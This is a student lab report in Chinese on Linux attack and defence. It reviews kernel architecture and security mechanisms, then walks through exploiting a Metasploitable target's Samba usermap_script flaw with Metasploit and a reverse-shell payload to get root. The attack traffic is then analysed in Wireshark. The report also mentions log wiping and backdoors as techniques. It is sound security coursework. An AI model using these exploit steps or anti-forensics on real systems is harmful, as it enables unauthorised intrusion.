实践七 Linux操作系统攻防
1 实践内容
1.1 Linux操作系统基本框架概述
1.1.1 linux系统整体架构介绍
图1.1 Linux系统整体架构图
Process Scheduler:进程管理或进程调度,负责管理CPU资源,以便让各个进程可以尽量公平的方式访问CPU;
Memory Manager:内存管理,负责管理内存资源,以便让各个进程可以安全地共享机器的内存资源,内存管理还提供虚拟内存的机制,可以让进程使用多余物理内存大小的内存,即不用的内存通过文件系统保存在外存中,而需要使用的时候则加载到内存中;
VFS(Virtual File System):虚拟文件系统,Linux将不同功能的外围设备(比如硬盘/磁盘、输入输出设备、显示设备等)抽象为可以通过统一的文件操作接口(比如open、read、write、close)来访问,这就是Linux系统"一切皆是文件"的体现;(但是并不彻底,因为CPU、内存、网络等还不是文件)
Network:网络子系统,负责管理熊的网络设备,实现多种多样的网络标准;
IPC:进程间通信,IPC不管理任何的硬件,仅仅是负责Linux系统中的进程间通信;
1.1.2 Linux系统进程和线程管理机制
传统上UNIX操作系统下运行的应用程序、服务器及其他程序都称为进程。每个进程都在CPU的虚拟内存中分配地址空间。各个进程的地址空间是完全独立的。Linux是多任务系统,支持并发执行的若干进程。
进程切换:进程之间的切换。内核借助CPU的帮助,负责进程切换的技术细节。通过在撤销进程的CPU资源之前保存进程所有与状态相关的要素,并将进程置于空闲状态。重新激活进程时,将保存的状态原样恢复。
调度:内核必须确定如何在现存进程之间共享CPU时间。重要进程得到的CPU时间多一点,次要进程少一点,确定哪个进程运行多长时间的过程称为调度。
1.1.3 Linux系统内存管理机制
内存管理:是Linux内核中最重要的子系统,它主要提供对内存资源的访问控制。从系统中每个进程的角度看,地址空间中只有自身一个进程,无法感知到其他进程的存在。Linux将虚拟地址空间划分为两个部分,分别为内核空间和用户空间。
虚拟内存:Linux系统会在硬件物理内存和进程所使用的内存(称作虚拟内存)之间建立一种映射关系,这种映射是以进程为单位,因而不同的进程可以使用相同的虚拟内存,而这些相同的虚拟内存,可以映射到不同的物理内存上。
Architecture Specific Managers,体系结构相关部分。提供用于访问硬件Memory的虚拟接口。
Architecture Independent Manager,体系结构无关部分。提供所有的内存管理机制
System Call Interface,系统调用接口
特权级别:内核把虚拟地址空间划分为两个部分,因此能够保护各个系统进程,使之彼此分离。所有现代的CPU都提供了几种特权级别,进程可以驻留在某一个特权级别。IA-32体系结构使用4种特权级别构成的系统,各级别可以看作是环,如图3所示。Linux只使用两种不同的状态:核心态和用户状态。两种状态的关键差别在于用户状态禁止访问内核空间。
图1.2 Linux系统特权级别的环状系统
1.1.4 Linux系统的设备处理机制
设备驱动程序:Linux内核中处理或者管理硬件控制器的软件。
基本特点是:抽象了设备的处理。
Linux支持三类硬件设备:字符设备、块设备和网络设备。
1.1.5 Linux系统的网络机制
网络子系统在Linux内核中主要负责管理各种网络设备,并实现各种网络协议栈,最终实现通过网络连接其它系统的功能。在Linux内核中,网络子系统几乎是自成体系,它包括5个子模块,它们的功能如下:
图1.3 Linux网络子系统(Net)
Network Device Drivers,网络设备的驱动,和VFS子系统中的设备驱动是一样的。
Device Independent Interface,和VFS子系统中的是一样的。
Network Protocols,实现各种网络传输协议,例如IP, TCP, UDP等等。
Protocol Independent Interface,屏蔽不同的硬件设备和网络协议,以相同的格式提供接口。
System Call interface,系统调用接口,向用户空间提供访问网络设备的统一的接口。
1.1.6 Linux系统的调用机制
系统调用:程序透过访问接口来访问硬件设备和其他系统资源。
Linux系统的系统调用通过软中断来实现。
1.2 Linux操作系统安全机制
1.2.1 Linux身份认证机制
用户是Linux身份认证的主题,按照不同的角色类型具体分为以下三类:Root根用户、普通用户和系统用户。
Linux用户组:具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。Linux用户组信息保存在/etc/gshadow文件中,可以使用id -a来进行查询当前用户所属用户组。
登录认证机制:Linux通过init进程执行启动getty产生若干个虚拟控制台,每个控制台执行login进程执行认证过程,认证通过之后,login进程会fork响应的Shell子进程,至此完成登录过程。再这个过程中,使用带salt的密文保存密码,加密算法为若干种加密算法的选择。
Linux的远程登录认证机制:第一种是基于口令的身份认证机制;第二种是基于非对称密码的身份认证机制。此外Linux系统中的大量网络服务都实现了自己的身份认证机制,如MD5散列、LANMAN\NTLM散列算法等等。
PAM: Linux统一身份认证中间件。PAM的核心部分是库(libpam)和PAM模块的集合,它们是位于文件夹/lib/security/中的动态链接库(.so)文件,以及位于/etc/pam.d/目录中的各个PAM模块配置文件。PAM为认证任务提供四种可用的模块接口。
表1.1 模块
模块 | 说明 |
auth | 认证模块接口,如验证用户身份、检查密码是否可以通过,并设置用户凭据 |
account | 账户模块接口,检查指定账户是否满足当前验证条件,如用户是否有权访问所请求的服务,检查账户是否到期 |
password | 密码模块接口,用于更改用户密码,以及强制使用强密码配置 |
session | 会话模块接口,用于管理和配置用户会话。会话在用户成功认证之后启动生效 |
1.2.2 Linux授权与访问控制机制
Linux通过上文提到的VFS虚拟文件系统来实现对不同类别文件系统格式的支持,
文件所有者:使用文件所有者的uid和gid来指明文件的所有者,在用户创建文件的时候自动进行写入。
文件访问权限:文件访问权限通过附带的10个标志位来来进行设置。 第一位表示文件类型,二至九位每三位分成一组。组内三位分别表示,读取权限、写入权限和执行权限。三组分别代表所有者、所有组和所有用户。
特殊执行权限:设置了SUID或SGID的文件。SUID允许执行文件在运行时刻从运行者的身份提升至文件所有者权限。SGID与SUID类似,仅仅是以权限组的形式进行运行。
不足及改进:访问权限的细粒度不足,不支持完整的ACL访问控制列表设置。
1.2.3 Linux安全审计机制
三个日志子系统:连接时间日志、进程统计日志和错误日志纪录。
/var/log/message 系统启动后的信息和错误日志,是Linux中最常用的日志之一;
/var/log/secure 与安全相关的日志信息;
/var/log/maillog 与邮件相关的日志信息;
/var/log/cron 与定时任务相关的日志信息;
/var/log/spooler 与UUCP和news设备相关的日志信息;
/var/log/boot.log 守护进程启动和停止相关的日志消息;
/var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件。
1.3 Linux系统远程攻防技术
1.3.1 远程口令字猜测攻击
通过前面提到的服务嗅探用户账户名或者使用缺省内件账户的用户名进行密码猜测。
口令字猜测攻击通常针对使用弱口令的的账户破解。
除了SSH网络服务之外,还可以通过对HTTP/HTTPS、FTP等用于自己账户体系和身份认证机制的网络服务进行猜测。
口令猜测的常用工具如下:Brutus、THC Hydra、Cain and Abel等工具。
1.3.2 防御远程口令猜测技术
确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。
特权账户应避免远程直接登录,只能在本地登录。
口令长度至少达到8位,包含字母、数字和标点符号。
对多次认证失败进行纪录,并在多次无效登录之后断掉连接。
不要再自己登录的所有系统上都使用相同的口令字。
并要笔录自己的口令字。
使用基于公开密钥证书的身份认证机制。
修改网络服务的默认端口。
1.3.3 网络服务远程渗透攻击
Linux内核中的网络协议栈攻击;
LAMP WEB网站中的网络服务攻击;
FTP、Samba等文件共享服务;
电子邮件收发服务;
其他网络服务的攻击。
1.3.4 网络服务远程渗透攻击的安全防范措施
禁用不必要的网络服务;
尽量选择更安全的网络协议和服务软件;
及时更新网络服务版本;
使用防火墙为Linux网络服务添加网络访问控制;
建立入侵检测与应急响应计划流程。
1.3.5 攻击Linux客户端程序和用户
攻击Linux平台上的客户端程序;
攻击Linux系统用户。
1.3.6 针对Linux客户端攻击的防范措施
及时更新软件;
在下载软件的时候通过官方下载渠道,并校验MD5。
1.3.7 攻击linux路由器和监听器
针对使用Linux作为路由器系统的路由器的攻击;
针对Linux下运行的监听器的攻击,如wireshark、dumpcap等等。
1.3.8 针对攻击路由器和监听器的防范
增强安全意识,关注厂商的安全威胁报告;
及时进行固件的升级;
掌握攻击者的入侵渗透手段,并进行渗透测试。
1.4 Linux系统本地安全攻防技术
1.4.1 Linux本地特权提升
本地特权提升的三种常用方式:破解Root用户的口令、发掘su和sudo程序中的安全漏洞以及攻击用户态SUID特权提升漏洞和攻击Linux内核代码特权提升漏洞。
Linux口令字破解:通过/etc/shadow文件中纪录的口令的hash值,获取口令的加密值,后通过已知密文暴力猜测明文。
sudo缺陷进行特权提升:通过sudo程序的漏洞,绕过程序的身份认证机制,获取权限。
利用用户态SUID程序:主要包括利用程序漏洞进行特权提升、本地缓冲区溢出攻击、符号连接攻击、竞争条件攻击、共享函数库攻击等。
1.4.2 本地特权提升的防范措施
在安装软甲的过程中评估风险;
及时对服务器进行升级维护;
安全的配置系统,设置强口令字,使用SELinux等安全增强模块。
1.4.3 Linux系统上的消踪灭迹
通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理;
通过对.bahs_history文件的清理,清理shell的命令痕迹。
1.4.4 防范日志消除
将日志信息写道难以修改的媒体介质上;
将日志信息使用syslog网络机制写道防护严密的安全日志服务器上去。
1.4.5 Linux系统远程控制后门程序
通过替换对系统原有的远程登录程序进行替换实现后门;
通过图形化远程控制软件例如VNC实现攻击。
2 实践过程
2.1 使用Metasploit进行Linux远程渗透攻击
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
2.1.1 启动Metasploit软件
输入指令"msfconsole"启动渗透软件。
图2.1 启动Metasploit软件
2.1.2 使用exploit:exploit/multi/samba/usermap_script渗透攻击模块
输入指令"use exploit/multi/samba/usermap_script"使用渗透攻击模块。输入指令"show payloads"来获取攻击负载模块列表,并选择攻击负载模块。
图2.2 攻击负载模块列表
2.1.3 选择攻击PAYLOAD为远程shell
输入指令"set PAYLOAD cmd/unix/reverse"来设置有效的攻击载荷。
2.1.4 设置渗透攻击参数
输入指令"set lhost 192.168.200.4"设置攻击机地址;输入"set rhost 192.168.200.3"设置靶机地址。输入指令"show options"查看信息设置。
图2.3 信息设置
2.1.5 执行渗透攻击
输入指令"run"开始攻击。攻击成功后进行测试,输入指令"ifconfig"来查看靶机网络状态,证明攻击成功。
图2.4 攻击成功
2.1.6 查看是否正确得到远程Shell,并查看获得的权限
输入指令"whoami"发现执行权限是root。
图2.5 权限
2.2 攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
输入指令"show payloads"来获取攻击负载模块列表。
图2.6 攻击负载模块列表
再次进入Metasploit、选择攻击负载模块、进行各种设置,输入指令show options看信息设置是否正确。
图2.7 信息设置
在攻击之前,先启动wireshark进行抓包,然后开始攻击。
通过wireshark抓到的数据包,分析发现首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报(7号数据包),服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报(9号数据包)。
图2.8 协商协议数据包
然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据报(11号数据包),靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报(23号数据包)同意本次连接。
图2.9 会话设置数据包
接下来是查看攻击发起时间,时间是2022年4月25日07时56分55秒。
图2.10 攻击发起时间
继续分析数据包可以找到:源端口、目的端口、源地址、目的地址。它们分别是:41263,139,192.168.200.4,192.169.200.3。
139端口是一种TCP端口,该端口在你通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用copy。139端口一旦被Internet上的某个攻击者利用的话,就能成为一个危害极大的安全漏洞。因为黑客要是与目标主机的139端口建立连接的话,就很有可能浏览到指定网段内所有工作百站中的全部共享信息,甚至可以对目标主机中的共享文件夹进行各种编辑、删除操作,倘度若攻击者还知道目标主机的IP地址和登录帐号的话,还能轻而易举地查看到目标主机中的隐藏共享信息
445端口也是一种TCP端口,该端口在Windows 2000 Server或Windows Server 2003系统中发挥的知作用与139端口是完全相同的。具体地说,它也是提供局域网中文件或打印机共享服务。不过该端口是基于CIFS协议(通用因特网文件系统协议)工作的,而139端口是基于SMB协议(服务器协议族)对外提供共享服务。同样地,攻击者与445端口建立请求连接,也能获得指定道局域网内的各种共享信息
图2.11 源端口、目的端口、源地址、目的地址
继续分析数据包,找到TCP协议密集的地方,追踪TCP流可以看见之前我们输入的命令。
图2.12 输入的命令
3.学习中遇到的问题及解决
输入指令"use exploit/multi/samba/usermap_script"使用渗透攻击模块时,可能使用失败,需要再次输入可以成功。
第二次攻击需要将双方计算机重启,否则可能攻击失败。
4 感想和体会
通过本次实验,我学习到了Linux操作系统攻防的基本原理和方法。学习使用Metasploit利用Linux靶机上的Samba服务Usermap_script安全漏攻击的方法。成功并且成功拿到了shell,可以对靶机进行远程控制。我充分认识到Linux主机上的Samba服务Usermap_script安全漏洞的危害性。我还进一步学习了Wireshark对数据包的分析和过滤。对操作系统漏洞的危害性有了更深刻的认识,学习到了很多知识,让我受益匪浅。